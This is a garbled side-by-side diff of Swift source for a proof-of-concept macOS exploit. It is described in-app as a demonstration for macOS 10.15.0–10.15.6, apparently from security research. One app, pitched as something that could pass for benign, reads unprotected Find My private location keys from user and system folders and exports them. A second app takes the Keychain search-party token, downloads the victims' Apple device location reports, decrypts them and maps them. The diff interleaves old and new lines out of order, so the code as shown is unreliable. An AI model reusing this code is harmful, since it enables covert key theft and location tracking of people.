init(from decoder: Decoder) throws {
let values = try decoder.container(keyedBy: CodingKeys.self)
self.latitude = try values.decode(Double.self, forKey: .latitude)
self.longitude = try values.decode(Double.self, forKey: .longitude)
do {
let uAcc = try values.decode(UInt8.self, forKey: .accuracy)
self.accuracy = uAcc
} catch {
let iAcc = try values.decode(Int8.self, forKey: .accuracy)
self.accuracy = UInt8(bitPattern: iAcc)
} }
init(lat: Double, lng: Double, acc: UInt8, dP: Date, t: Date, c: UInt8) { self.datePublished = try values.decode(Date.self, forKey: .datePublished)
self.latitude = lat self.timestamp = try? values.decode(Date.self, forKey: .timestamp)
self.longitude = lng self.confidence = try? values.decode(UInt8.self, forKey: .confidence)
self.accuracy = acc }
self.datePublished = dP
self.timestamp = t
self.confidence = c
}
init(from decoder: Decoder) throws {
let values = try decoder.container(keyedBy: CodingKeys.self)
self.latitude = try values.decode(Double.self, forKey: .latitude)
self.longitude = try values.decode(Double.self, forKey: .longitude)
do {
let uAcc = try values.decode(UInt8.self, forKey: .accuracy)
self.accuracy = uAcc
} catch {
let iAcc = try values.decode(Int8.self, forKey: .accuracy)
self.accuracy = UInt8(bitPattern: iAcc)
}
self.datePublished = try values.decode(Date.self, forKey: .datePublished)
self.timestamp = try? values.decode(Date.self, forKey: .timestamp)
self.confidence = try? values.decode(UInt8.self, forKey: .confidence)
}
} }
enum FindMyError: Error { enum FindMyError: Error {
case decryptionError(description: String) case decryptionError(description: String)
} }

View File

@@ -7,19 +7,19 @@
// SPDX-License-Identifier: AGPL-3.0-only // SPDX-License-Identifier: AGPL-3.0-only
// //
import SwiftUI
import Cocoa import Cocoa
import MapKit import MapKit
import SwiftUI
struct MapView: NSViewControllerRepresentable { struct MapView: NSViewControllerRepresentable {
@Environment(\.findMyController) var findMyController @Environment(\.findMyController) var findMyController
func makeNSViewController(context: Context) -> MapViewController { func makeNSViewController(context: Context) -> MapViewController {
return MapViewController(nibName: NSNib.Name("MapViewController"), bundle: nil) return MapViewController(nibName: NSNib.Name("MapViewController"), bundle: nil)
} }
func updateNSViewController(_ nsViewController: MapViewController, context: Context) { func updateNSViewController(_ nsViewController: MapViewController, context: Context) {
nsViewController.addLocationsReports(from: findMyController.devices) nsViewController.addLocationsReports(from: findMyController.devices)
} }
} }

View File

@@ -11,43 +11,45 @@ import Cocoa
import MapKit import MapKit
final class MapViewController: NSViewController, MKMapViewDelegate { final class MapViewController: NSViewController, MKMapViewDelegate {
@IBOutlet weak var mapView: MKMapView! @IBOutlet weak var mapView: MKMapView!
var pinsShown = false var pinsShown = false
override func viewDidLoad() { override func viewDidLoad() {
super.viewDidLoad() super.viewDidLoad()
self.mapView.delegate = self self.mapView.delegate = self
}
func addLocationsReports(from devices: [FindMyDevice]) {
if !self.mapView.annotations.isEmpty {
self.mapView.removeAnnotations(self.mapView.annotations)
} }
func addLocationsReports(from devices: [FindMyDevice]) { // Zoom to first location
if !self.mapView.annotations.isEmpty { if let location = devices.first?.decryptedReports?.first {
self.mapView.removeAnnotations(self.mapView.annotations) let coordinate = CLLocationCoordinate2D(
} latitude: location.latitude, longitude: location.longitude)
let span = MKCoordinateSpan(latitudeDelta: 5.0, longitudeDelta: 5.0)
// Zoom to first location let region = MKCoordinateRegion(center: coordinate, span: span)
if let location = devices.first?.decryptedReports?.first {
let coordinate = CLLocationCoordinate2D(latitude: location.latitude, longitude: location.longitude)
let span = MKCoordinateSpan(latitudeDelta: 5.0, longitudeDelta: 5.0)
let region = MKCoordinateRegion(center: coordinate, span: span)
self.mapView.setRegion(region, animated: true)
}
// Add pins
for device in devices {
guard let reports = device.decryptedReports else {continue}
for report in reports {
let pin = MKPointAnnotation()
pin.title = device.deviceId
pin.coordinate = CLLocationCoordinate2D(latitude: report.latitude, longitude: report.longitude)
self.mapView.addAnnotation(pin)
}
}
self.mapView.setRegion(region, animated: true)
} }
func changeMapType(_ mapType: MKMapType) { // Add pins
self.mapView.mapType = mapType for device in devices {
guard let reports = device.decryptedReports else { continue }
for report in reports {
let pin = MKPointAnnotation()
pin.title = device.deviceId
pin.coordinate = CLLocationCoordinate2D(
latitude: report.latitude, longitude: report.longitude)
self.mapView.addAnnotation(pin)
}
} }
}
func changeMapType(_ mapType: MKMapType) {
self.mapView.mapType = mapType
}
} }

View File

@@ -11,188 +11,200 @@ import SwiftUI
struct OFFetchReportsMainView: View { struct OFFetchReportsMainView: View {
@Environment(\.findMyController) var findMyController @Environment(\.findMyController) var findMyController
@State var targetedDrop: Bool = false @State var targetedDrop: Bool = false
@State var error: Error? @State var error: Error?
@State var showMap = false @State var showMap = false
@State var loading = false @State var loading = false
@State var searchPartyToken: Data? @State var searchPartyToken: Data?
@State var searchPartyTokenString: String = "" @State var searchPartyTokenString: String = ""
@State var keyPlistFile: Data? @State var keyPlistFile: Data?
@State var showTokenPrompt = false @State var showTokenPrompt = false
var dropView: some View { var dropView: some View {
ZStack(alignment: .center) { ZStack(alignment: .center) {
HStack { HStack {
Spacer() Spacer()
Spacer() Spacer()
} }
VStack { VStack {
Spacer() Spacer()
Text("Drop exported keys here") Text("Drop exported keys here")
.font(Font.system(size: 44, weight: .bold, design: .default)) .font(Font.system(size: 44, weight: .bold, design: .default))
.padding() .padding()
Text("The keys can be exported into the right format using the Read FindMy Keys App.") Text("The keys can be exported into the right format using the Read FindMy Keys App.")
.font(.body) .font(.body)
.multilineTextAlignment(.center) .multilineTextAlignment(.center)
.padding() .padding()
Spacer() Spacer()
} }
} }
.background( .background(
RoundedRectangle(cornerRadius: 20.0) RoundedRectangle(cornerRadius: 20.0)
.stroke(Color.gray, style: StrokeStyle(lineWidth: 5.0, lineCap: .round, lineJoin: .round, miterLimit: 10, dash: [15])) .stroke(
) Color.gray,
style: StrokeStyle(
lineWidth: 5.0, lineCap: .round, lineJoin: .round, miterLimit: 10, dash: [15]))
)
.padding()
.onDrop(of: ["public.file-url"], isTargeted: self.$targetedDrop) { (droppedData) -> Bool in
return self.droppedData(data: droppedData)
}
}
var loadingView: some View {
VStack {
Text("Downloading locations and decrypting...")
.font(Font.system(size: 44, weight: .bold, design: .default))
.padding() .padding()
.onDrop(of: ["public.file-url"], isTargeted: self.$targetedDrop) { (droppedData) -> Bool in
return self.droppedData(data: droppedData)
}
} }
}
var loadingView: some View { /// This view is shown if the search party token cannot be accessed from keychain
VStack { var missingSearchPartyTokenView: some View {
Text("Downloading locations and decrypting...") VStack {
.font(Font.system(size: 44, weight: .bold, design: .default)) Text("Search Party token could not be fetched")
.padding() Text("Please paste the search party token below after copying it from the macOS Keychain.")
} Text("The item that contains the key can be found by searching for: ")
} Text("com.apple.account.DeviceLocator.search-party-token")
.font(.system(Font.TextStyle.body, design: Font.Design.monospaced))
/// This view is shown if the search party token cannot be accessed from keychain TextField("Search Party Token", text: self.$searchPartyTokenString)
var missingSearchPartyTokenView: some View {
VStack {
Text("Search Party token could not be fetched")
Text("Please paste the search party token below after copying it from the macOS Keychain.")
Text("The item that contains the key can be found by searching for: ")
Text("com.apple.account.DeviceLocator.search-party-token")
.font(.system(Font.TextStyle.body, design: Font.Design.monospaced))
TextField("Search Party Token", text: self.$searchPartyTokenString)
Button(action: {
if !self.searchPartyTokenString.isEmpty,
let file = self.keyPlistFile,
let searchPartyToken = self.searchPartyTokenString.data(using: .utf8) {
self.searchPartyToken = searchPartyToken
self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
}
}, label: {
Text("Download reports")
})
}
}
var mapView: some View {
ZStack {
MapView()
VStack {
HStack {
Spacer()
Button(action: {
self.showMap = false
self.showTokenPrompt = false
}, label: {
Text("Import other tokens")
})
Button(action: {
self.exportDecryptedLocations()
}, label: {
Text("Export")
})
}
.padding()
Spacer()
}
}
}
var body: some View {
GeometryReader { geo in
if self.loading {
self.loadingView
} else if self.showMap {
self.mapView
} else if self.showTokenPrompt {
self.missingSearchPartyTokenView
} else {
self.dropView
.frame(width: geo.size.width, height: geo.size.height)
}
}
}
// swiftlint:disable identifier_name
func droppedData(data: [NSItemProvider]) -> Bool {
guard let itemProvider = data.first else {return false}
itemProvider.loadItem(forTypeIdentifier: "public.file-url", options: nil) { (u, _) in
guard let urlData = u as? Data,
let fileURL = URL(dataRepresentation: urlData, relativeTo: nil),
// Only plist supported
fileURL.pathExtension == "plist",
// Load the file
let file = try? Data(contentsOf: fileURL)
else {return}
print("Received data \(fileURL)")
self.keyPlistFile = file
let reportsFetcher = ReportsFetcher()
self.searchPartyToken = reportsFetcher.fetchSearchpartyToken()
if let searchPartyToken = self.searchPartyToken {
self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
} else {
self.showTokenPrompt = true
}
}
return true
}
func downloadAndDecryptLocations(with keyFile: Data, searchPartyToken: Data) {
self.loading = true
self.findMyController.loadPrivateKeys(from: keyFile, with: searchPartyToken, completion: { error in
// Check if an error occurred
guard error == nil else {
self.error = error
return
}
// Show map view
self.loading = false
self.showMap = true
Button(
action: {
if !self.searchPartyTokenString.isEmpty,
let file = self.keyPlistFile,
let searchPartyToken = self.searchPartyTokenString.data(using: .utf8)
{
self.searchPartyToken = searchPartyToken
self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
}
},
label: {
Text("Download reports")
}) })
} }
}
func exportDecryptedLocations() { var mapView: some View {
do { ZStack {
let devices = self.findMyController.devices MapView()
let deviceData = try PropertyListEncoder().encode(devices) VStack {
HStack {
Spacer()
Button(
action: {
self.showMap = false
self.showTokenPrompt = false
},
label: {
Text("Import other tokens")
})
SavePanel().saveFile(file: deviceData, fileExtension: "plist") Button(
action: {
self.exportDecryptedLocations()
},
label: {
Text("Export")
})
} catch {
print("Error: \(error)")
} }
.padding()
Spacer()
}
} }
}
var body: some View {
GeometryReader { geo in
if self.loading {
self.loadingView
} else if self.showMap {
self.mapView
} else if self.showTokenPrompt {
self.missingSearchPartyTokenView
} else {
self.dropView
.frame(width: geo.size.width, height: geo.size.height)
}
}
}
// swiftlint:disable identifier_name
func droppedData(data: [NSItemProvider]) -> Bool {
guard let itemProvider = data.first else { return false }
itemProvider.loadItem(forTypeIdentifier: "public.file-url", options: nil) { (u, _) in
guard let urlData = u as? Data,
let fileURL = URL(dataRepresentation: urlData, relativeTo: nil),
// Only plist supported
fileURL.pathExtension == "plist",
// Load the file
let file = try? Data(contentsOf: fileURL)
else { return }
print("Received data \(fileURL)")
self.keyPlistFile = file
let reportsFetcher = ReportsFetcher()
self.searchPartyToken = reportsFetcher.fetchSearchpartyToken()
if let searchPartyToken = self.searchPartyToken {
self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
} else {
self.showTokenPrompt = true
}
}
return true
}
func downloadAndDecryptLocations(with keyFile: Data, searchPartyToken: Data) {
self.loading = true
self.findMyController.loadPrivateKeys(
from: keyFile, with: searchPartyToken,
completion: { error in
// Check if an error occurred
guard error == nil else {
self.error = error
return
}
// Show map view
self.loading = false
self.showMap = true
})
}
func exportDecryptedLocations() {
do {
let devices = self.findMyController.devices
let deviceData = try PropertyListEncoder().encode(devices)
SavePanel().saveFile(file: deviceData, fileExtension: "plist")
} catch {
print("Error: \(error)")
}
}
} }
struct ContentView_Previews: PreviewProvider { struct ContentView_Previews: PreviewProvider {
static var previews: some View { static var previews: some View {
OFFetchReportsMainView() OFFetchReportsMainView()
} }
} }

View File

@@ -7,43 +7,44 @@
// SPDX-License-Identifier: AGPL-3.0-only // SPDX-License-Identifier: AGPL-3.0-only
// //
import Foundation
import AppKit import AppKit
import Foundation
class SavePanel: NSObject, NSOpenSavePanelDelegate { class SavePanel: NSObject, NSOpenSavePanelDelegate {
static let shared = SavePanel() static let shared = SavePanel()
var fileToSave: Data? var fileToSave: Data?
var fileExtension: String? var fileExtension: String?
var panel: NSSavePanel? var panel: NSSavePanel?
func saveFile(file: Data, fileExtension: String) { func saveFile(file: Data, fileExtension: String) {
self.fileToSave = file self.fileToSave = file
self.fileExtension = fileExtension self.fileExtension = fileExtension
self.panel = NSSavePanel() self.panel = NSSavePanel()
self.panel?.delegate = self self.panel?.delegate = self
self.panel?.title = "Export Find My Locations" self.panel?.title = "Export Find My Locations"
self.panel?.prompt = "Export" self.panel?.prompt = "Export"
self.panel?.nameFieldLabel = "Find My Locations" self.panel?.nameFieldLabel = "Find My Locations"
self.panel?.nameFieldStringValue = "findMyLocations.plist" self.panel?.nameFieldStringValue = "findMyLocations.plist"
self.panel?.allowedFileTypes = ["plist"] self.panel?.allowedFileTypes = ["plist"]
let result = self.panel?.runModal() let result = self.panel?.runModal()
if result == NSApplication.ModalResponse.OK {
// Save file
let fileURL = self.panel?.url
try! self.fileToSave?.write(to: fileURL!)
}
if result == NSApplication.ModalResponse.OK {
// Save file
let fileURL = self.panel?.url
try! self.fileToSave?.write(to: fileURL!)
} }
func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String? { }
guard okFlag else {return nil}
return filename func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String?
} {
guard okFlag else { return nil }
return filename
}
} }

View File

@@ -8,34 +8,34 @@
// //
import Cocoa import Cocoa
import SwiftUI
import CoreLocation import CoreLocation
import SwiftUI
@NSApplicationMain @NSApplicationMain
class AppDelegate: NSObject, NSApplicationDelegate { class AppDelegate: NSObject, NSApplicationDelegate {
var window: NSWindow! var window: NSWindow!
func applicationDidFinishLaunching(_ aNotification: Notification) { func applicationDidFinishLaunching(_ aNotification: Notification) {
// Create the SwiftUI view that provides the window contents. // Create the SwiftUI view that provides the window contents.
let contentView = ContentView() let contentView = ContentView()
// Create the window and set the content view. // Create the window and set the content view.
window = NSWindow( window = NSWindow(
contentRect: NSRect(x: 0, y: 0, width: 480, height: 300), contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView], styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
backing: .buffered, defer: false) backing: .buffered, defer: false)
window.center() window.center()
window.setFrameAutosaveName("Main Window") window.setFrameAutosaveName("Main Window")
window.contentView = NSHostingView(rootView: contentView) window.contentView = NSHostingView(rootView: contentView)
window.makeKeyAndOrderFront(nil) window.makeKeyAndOrderFront(nil)
} }
func applicationWillTerminate(_ aNotification: Notification) { func applicationWillTerminate(_ aNotification: Notification) {
// Insert code here to tear down your application // Insert code here to tear down your application
} }
func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool { func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
return true return true
} }
} }

View File

@@ -7,84 +7,89 @@
// SPDX-License-Identifier: AGPL-3.0-only // SPDX-License-Identifier: AGPL-3.0-only
// //
import SwiftUI
import OSLog import OSLog
import SwiftUI
struct ContentView: View { struct ContentView: View {
@State var keysInfo: String? @State var keysInfo: String?
var body: some View { var body: some View {
ZStack { ZStack {
VStack { VStack {
Spacer() Spacer()
self.infoText self.infoText
.padding() .padding()
Button(action: { Button(
self.readPrivateKeys() action: {
}, label: { self.readPrivateKeys()
Text("Read private offline finding keys") },
.font(.headline) label: {
.foregroundColor(Color.black) Text("Read private offline finding keys")
.padding() .font(.headline)
.background( .foregroundColor(Color.black)
RoundedRectangle(cornerRadius: 7.0) .padding()
.fill(Color(white: 7.0).opacity(0.7)) .background(
.shadow(color: Color.black, radius: 10.0, x: 0, y: 0) RoundedRectangle(cornerRadius: 7.0)
) .fill(Color(white: 7.0).opacity(0.7))
.shadow(color: Color.black, radius: 10.0, x: 0, y: 0)
)
}) }
.buttonStyle(PlainButtonStyle()) )
.buttonStyle(PlainButtonStyle())
self.keysInfo.map { (keysInfo) in
Text(keysInfo)
.padding()
}
Spacer()
}
self.keysInfo.map { (keysInfo) in
Text(keysInfo)
.padding()
} }
.frame(width: 800, height: 600)
Spacer()
}
} }
.frame(width: 800, height: 600)
var infoText: some View { }
// swiftlint:disable line_length
Text("This application demonstrates an exploit in macOS 10.15.0 - 10.15.6. It reads unprotected private key files that are used to locate lost devices using Apple's Offline Finding (Find My network). The application exports these key files for a demonstrative purpose. Used in the wild, an adversary would be able to download accurate location data of") + var infoText: some View {
Text(" all ").bold() + // swiftlint:disable line_length
Text("Apple devices of the current user.\n\n") + Text(
Text("To download the location reports for the exported key files, please use the OFFetchReports app. In our adversary model this app would be placed on an adversary owned Mac while the OFReadKeys might be a benign looking app installed by any user.") "This application demonstrates an exploit in macOS 10.15.0 - 10.15.6. It reads unprotected private key files that are used to locate lost devices using Apple's Offline Finding (Find My network). The application exports these key files for a demonstrative purpose. Used in the wild, an adversary would be able to download accurate location data of"
// swiftlint:enable line_length ) + Text(" all ").bold() + Text("Apple devices of the current user.\n\n")
+ Text(
"To download the location reports for the exported key files, please use the OFFetchReports app. In our adversary model this app would be placed on an adversary owned Mac while the OFReadKeys might be a benign looking app installed by any user."
)
// swiftlint:enable line_length
}
func readPrivateKeys() {
do {
let devices = try FindMyKeyExtractor.readPrivateKeys()
let numberOfKeys = devices.reduce(0, { $0 + $1.keys.count })
self.keysInfo = "Found \(numberOfKeys) key files from \(devices.count) devices."
self.saveExportedKeys(keys: devices)
} catch {
os_log(.error, "Could not load keys %@", error.localizedDescription)
} }
}
func readPrivateKeys() { func saveExportedKeys(keys: [FindMyDevice]) {
do {
do { let keysPlist = try PropertyListEncoder().encode(keys)
let devices = try FindMyKeyExtractor.readPrivateKeys() SavePanel().saveFile(file: keysPlist, fileExtension: "plist")
let numberOfKeys = devices.reduce(0, {$0 + $1.keys.count}) } catch {
self.keysInfo = "Found \(numberOfKeys) key files from \(devices.count) devices." os_log(.error, "Property list encoding failed %@", error.localizedDescription)
self.saveExportedKeys(keys: devices)
} catch {
os_log(.error, "Could not load keys %@", error.localizedDescription)
}
}
func saveExportedKeys(keys: [FindMyDevice]) {
do {
let keysPlist = try PropertyListEncoder().encode(keys)
SavePanel().saveFile(file: keysPlist, fileExtension: "plist")
} catch {
os_log(.error, "Property list encoding failed %@", error.localizedDescription)
}
} }
}
} }
struct ContentView_Previews: PreviewProvider { struct ContentView_Previews: PreviewProvider {
static var previews: some View { static var previews: some View {
ContentView() ContentView()
} }
} }

View File

@@ -7,219 +7,227 @@
// SPDX-License-Identifier: AGPL-3.0-only // SPDX-License-Identifier: AGPL-3.0-only
// //
import Foundation
import CryptoKit import CryptoKit
import Foundation
import OSLog import OSLog
struct FindMyKeyExtractor { struct FindMyKeyExtractor {
// swiftlint:disable identifier_name // swiftlint:disable identifier_name
/// This function reads the private keys of the Offline Finding Location system. They will /// This function reads the private keys of the Offline Finding Location system. They will
/// - Throws: Error when accessing files fails /// - Throws: Error when accessing files fails
/// - Returns: Devices and their respective keys /// - Returns: Devices and their respective keys
static func readPrivateKeys() throws -> [FindMyDevice] { static func readPrivateKeys() throws -> [FindMyDevice] {
var devices = [FindMyDevice]() var devices = [FindMyDevice]()
os_log(.debug, "Looking for keys") os_log(.debug, "Looking for keys")
do {
// The key files have moved with macOS 10.15.4
let macOS10_15_3Devices = try self.readFromOldLocation()
devices.append(contentsOf: macOS10_15_3Devices)
} catch {
os_log(.error, "Did not find keys for 10.15.3\n%@", String(describing: error))
}
do {
// Tries to discover the new location of the keys
let macOS10_15_4Devices = try self.findKeyFilesInNewLocation()
devices.append(contentsOf: macOS10_15_4Devices)
} catch {
os_log(.error, "Did not find keys for 10.15.4\n%@", String(describing: error))
}
return devices
}
// MARK: - macOS 10.15.0 - 10.15.3
/// Reads the find my keys from the location used until macOS 10.15.3
/// - Throws: An error if the location is no longer available (e.g. in macOS 10.15.4)
/// - Returns: An array of find my devices including their keys
static func readFromOldLocation() throws -> [FindMyDevice] {
// Access the find my directory where the private advertisement keys are stored unencrypted
let directoryPath = "com.apple.icloud.searchpartyd/PrivateAdvertisementKeys/"
let fm = FileManager.default
let privateKeysPath = fm.urls(for: .libraryDirectory, in: .userDomainMask)
.first?.appendingPathComponent(directoryPath)
let folders = try fm.contentsOfDirectory(
at: privateKeysPath!,
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
guard folders.isEmpty == false else { throw FindMyError.noFoldersFound }
print("Found \(folders.count) folders")
var devices = [FindMyDevice]()
for folderURL in folders {
let keyFiles = try fm.contentsOfDirectory(
at: folderURL,
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
// Check if keys are available
print("Found \(keyFiles.count) in folder \(folderURL.lastPathComponent)")
guard keyFiles.isEmpty == false else { continue }
var device = FindMyDevice(deviceId: folderURL.lastPathComponent)
for url in keyFiles {
do { do {
if url.pathExtension == "keys" {
// The key files have moved with macOS 10.15.4 let keyPlist = try Data(contentsOf: url)
let macOS10_15_3Devices = try self.readFromOldLocation() let keyInfo = try self.parseKeyFile(keyFile: keyPlist)
devices.append(contentsOf: macOS10_15_3Devices) device.keys.append(keyInfo)
}
} catch { } catch {
os_log(.error, "Did not find keys for 10.15.3\n%@", String(describing: error)) print("Could not load key file ", error)
} }
do { }
// Tries to discover the new location of the keys
let macOS10_15_4Devices = try self.findKeyFilesInNewLocation()
devices.append(contentsOf: macOS10_15_4Devices)
} catch {
os_log(.error, "Did not find keys for 10.15.4\n%@", String(describing: error))
}
return devices devices.append(device)
} }
// MARK: - macOS 10.15.0 - 10.15.3 return devices
}
/// Reads the find my keys from the location used until macOS 10.15.3 /// Parses the key plist file used until macOS 10.15.3
/// - Throws: An error if the location is no longer available (e.g. in macOS 10.15.4) /// - Parameter keyFile: Propery list data
/// - Returns: An array of find my devices including their keys /// - Returns: Find My private Key
static func readFromOldLocation() throws -> [FindMyDevice] { static func parseKeyFile(keyFile: Data) throws -> FindMyKey {
// Access the find my directory where the private advertisement keys are stored unencrypted guard
let directoryPath = "com.apple.icloud.searchpartyd/PrivateAdvertisementKeys/" let keyDict = try PropertyListSerialization.propertyList(
from: keyFile,
let fm = FileManager.default options: .init(), format: nil) as? [String: Any],
let privateKeysPath = fm.urls(for: .libraryDirectory, in: .userDomainMask) let advertisedKey = keyDict["A"] as? Data,
.first?.appendingPathComponent(directoryPath) let privateKey = keyDict["PR"] as? Data,
let folders = try fm.contentsOfDirectory(at: privateKeysPath!, let timeValues = keyDict["D"] as? [Double],
includingPropertiesForKeys: nil, options: .skipsHiddenFiles) let pu = keyDict["PU"] as? Data
guard folders.isEmpty == false else {throw FindMyError.noFoldersFound} else {
throw FindMyError.parsingFailed
print("Found \(folders.count) folders")
var devices = [FindMyDevice]()
for folderURL in folders {
let keyFiles = try fm.contentsOfDirectory(at: folderURL,
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
// Check if keys are available
print("Found \(keyFiles.count) in folder \(folderURL.lastPathComponent)")
guard keyFiles.isEmpty == false else {continue}
var device = FindMyDevice(deviceId: folderURL.lastPathComponent)
for url in keyFiles {
do {
if url.pathExtension == "keys" {
let keyPlist = try Data(contentsOf: url)
let keyInfo = try self.parseKeyFile(keyFile: keyPlist)
device.keys.append(keyInfo)
}
} catch {
print("Could not load key file ", error)
}
}
devices.append(device)
}
return devices
} }
/// Parses the key plist file used until macOS 10.15.3 let hashedKeyDigest = SHA256.hash(data: advertisedKey)
/// - Parameter keyFile: Propery list data let hashedKey = Data(hashedKeyDigest)
/// - Returns: Find My private Key let time = Date(timeIntervalSinceReferenceDate: timeValues[0])
static func parseKeyFile(keyFile: Data) throws -> FindMyKey { let duration = timeValues[1]
guard let keyDict = try PropertyListSerialization.propertyList(from: keyFile,
options: .init(), format: nil) as? [String: Any],
let advertisedKey = keyDict["A"] as? Data,
let privateKey = keyDict["PR"] as? Data,
let timeValues = keyDict["D"] as? [Double],
let pu = keyDict["PU"] as? Data
else {
throw FindMyError.parsingFailed
}
let hashedKeyDigest = SHA256.hash(data: advertisedKey) return FindMyKey(
let hashedKey = Data(hashedKeyDigest) advertisedKey: advertisedKey,
let time = Date(timeIntervalSinceReferenceDate: timeValues[0]) hashedKey: hashedKey,
let duration = timeValues[1] privateKey: privateKey,
startTime: time,
duration: duration,
pu: pu,
yCoordinate: nil,
fullKey: nil)
}
return FindMyKey(advertisedKey: advertisedKey, // MARK: - macOS 10.15.4 - 10.15.6 (+ Big Sur 11.0 Betas)
hashedKey: hashedKey,
privateKey: privateKey,
startTime: time,
duration: duration,
pu: pu,
yCoordinate: nil,
fullKey: nil)
}
// MARK: - macOS 10.15.4 - 10.15.6 (+ Big Sur 11.0 Betas) /// Find the randomized key folder which is used since macOS 10.15.4
/// - Returns: Returns an array of urls that contain keys. Multiple folders are found if the mac has multiple users
static func findRamdomKeyFolder() -> [URL] {
os_log(.debug, "Searching for cached keys folder")
var folderURLs = [URL]()
let foldersPath = "/private/var/folders/"
let fm = FileManager.default
/// Find the randomized key folder which is used since macOS 10.15.4 func recursiveSearch(from url: URL, urlArray: inout [URL]) {
/// - Returns: Returns an array of urls that contain keys. Multiple folders are found if the mac has multiple users do {
static func findRamdomKeyFolder() -> [URL] { let randomSubfolders = try fm.contentsOfDirectory(
os_log(.debug, "Searching for cached keys folder") at: url,
var folderURLs = [URL]() includingPropertiesForKeys: nil,
let foldersPath = "/private/var/folders/" options: .includesDirectoriesPostOrder)
let fm = FileManager.default
func recursiveSearch(from url: URL, urlArray: inout [URL]) {
do {
let randomSubfolders = try fm.contentsOfDirectory(at: url,
includingPropertiesForKeys: nil,
options: .includesDirectoriesPostOrder)
for folder in randomSubfolders {
if folder.lastPathComponent == "com.apple.icloud.searchpartyd" {
urlArray.append(folder.appendingPathComponent("Keys"))
os_log(.debug, "Found folder at: %@", folder.path)
break
} else {
recursiveSearch(from: folder, urlArray: &urlArray)
}
}
} catch {
}
for folder in randomSubfolders {
if folder.lastPathComponent == "com.apple.icloud.searchpartyd" {
urlArray.append(folder.appendingPathComponent("Keys"))
os_log(.debug, "Found folder at: %@", folder.path)
break
} else {
recursiveSearch(from: folder, urlArray: &urlArray)
}
} }
recursiveSearch(from: URL(fileURLWithPath: foldersPath), urlArray: &folderURLs) } catch {
return folderURLs }
} }
/// Find the key files in macOS 10.15.4 and newer (not working with fixed version 10.15.6) recursiveSearch(from: URL(fileURLWithPath: foldersPath), urlArray: &folderURLs)
/// - Throws: An error if the key folder cannot be fould
/// - Returns: An array of devices including their keys
static func findKeyFilesInNewLocation() throws -> [FindMyDevice] {
let keysFolders = self.findRamdomKeyFolder()
guard keysFolders.isEmpty == false else {
throw NSError(domain: "error", code: NSNotFound, userInfo: nil)
}
var devices = [FindMyDevice]() return folderURLs
for folder in keysFolders {
if let deviceKeys = try? self.loadNewKeyFilesIn(directory: folder) {
devices.append(contentsOf: deviceKeys)
}
}
return devices }
/// Find the key files in macOS 10.15.4 and newer (not working with fixed version 10.15.6)
/// - Throws: An error if the key folder cannot be fould
/// - Returns: An array of devices including their keys
static func findKeyFilesInNewLocation() throws -> [FindMyDevice] {
let keysFolders = self.findRamdomKeyFolder()
guard keysFolders.isEmpty == false else {
throw NSError(domain: "error", code: NSNotFound, userInfo: nil)
} }
/// Load the keys fils in the passed directory var devices = [FindMyDevice]()
/// - Parameter directory: Pass a directory url to a location with key files for folder in keysFolders {
/// - Throws: An error if the keys could not be found if let deviceKeys = try? self.loadNewKeyFilesIn(directory: folder) {
/// - Returns: An array of devices including their keys devices.append(contentsOf: deviceKeys)
static func loadNewKeyFilesIn(directory: URL) throws -> [FindMyDevice] { }
os_log(.debug, "Loading key files from %@", directory.path) }
let fm = FileManager.default
let subDirectories = try fm.contentsOfDirectory(at: directory,
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
var devices = [FindMyDevice]() return devices
}
for deviceDirectory in subDirectories { /// Load the keys fils in the passed directory
do { /// - Parameter directory: Pass a directory url to a location with key files
var keyFiles = [Data]() /// - Throws: An error if the keys could not be found
let keyDirectory = deviceDirectory.appendingPathComponent("Primary") /// - Returns: An array of devices including their keys
let keyFileURLs = try fm.contentsOfDirectory(at: keyDirectory, static func loadNewKeyFilesIn(directory: URL) throws -> [FindMyDevice] {
includingPropertiesForKeys: nil, os_log(.debug, "Loading key files from %@", directory.path)
options: .skipsHiddenFiles) let fm = FileManager.default
for keyfileURL in keyFileURLs { let subDirectories = try fm.contentsOfDirectory(
// Read the key files at: directory,
let keyFile = try Data(contentsOf: keyfileURL) includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
if keyFile.isEmpty == false {
keyFiles.append(keyFile)
}
}
// Decode keys for file var devices = [FindMyDevice]()
let decoder = FindMyKeyDecoder()
var decodedKeys = [FindMyKey]()
for file in keyFiles {
do {
let fmKeys = try decoder.parse(keyFile: file)
decodedKeys.append(contentsOf: fmKeys)
} catch {
os_log(.error, "Decoding keys failed %@", error.localizedDescription)
}
}
let device = FindMyDevice(deviceId: deviceDirectory.lastPathComponent, keys: decodedKeys) for deviceDirectory in subDirectories {
devices.append(device) do {
} catch { var keyFiles = [Data]()
os_log(.error, "Key directory not found %@", error.localizedDescription) let keyDirectory = deviceDirectory.appendingPathComponent("Primary")
} let keyFileURLs = try fm.contentsOfDirectory(
at: keyDirectory,
includingPropertiesForKeys: nil,
options: .skipsHiddenFiles)
for keyfileURL in keyFileURLs {
// Read the key files
let keyFile = try Data(contentsOf: keyfileURL)
if keyFile.isEmpty == false {
keyFiles.append(keyFile)
}
} }
return devices // Decode keys for file
let decoder = FindMyKeyDecoder()
var decodedKeys = [FindMyKey]()
for file in keyFiles {
do {
let fmKeys = try decoder.parse(keyFile: file)
decodedKeys.append(contentsOf: fmKeys)
} catch {
os_log(.error, "Decoding keys failed %@", error.localizedDescription)
}
}
let device = FindMyDevice(deviceId: deviceDirectory.lastPathComponent, keys: decodedKeys)
devices.append(device)
} catch {
os_log(.error, "Key directory not found %@", error.localizedDescription)
}
} }
return devices
}
} }

View File

@@ -7,38 +7,38 @@
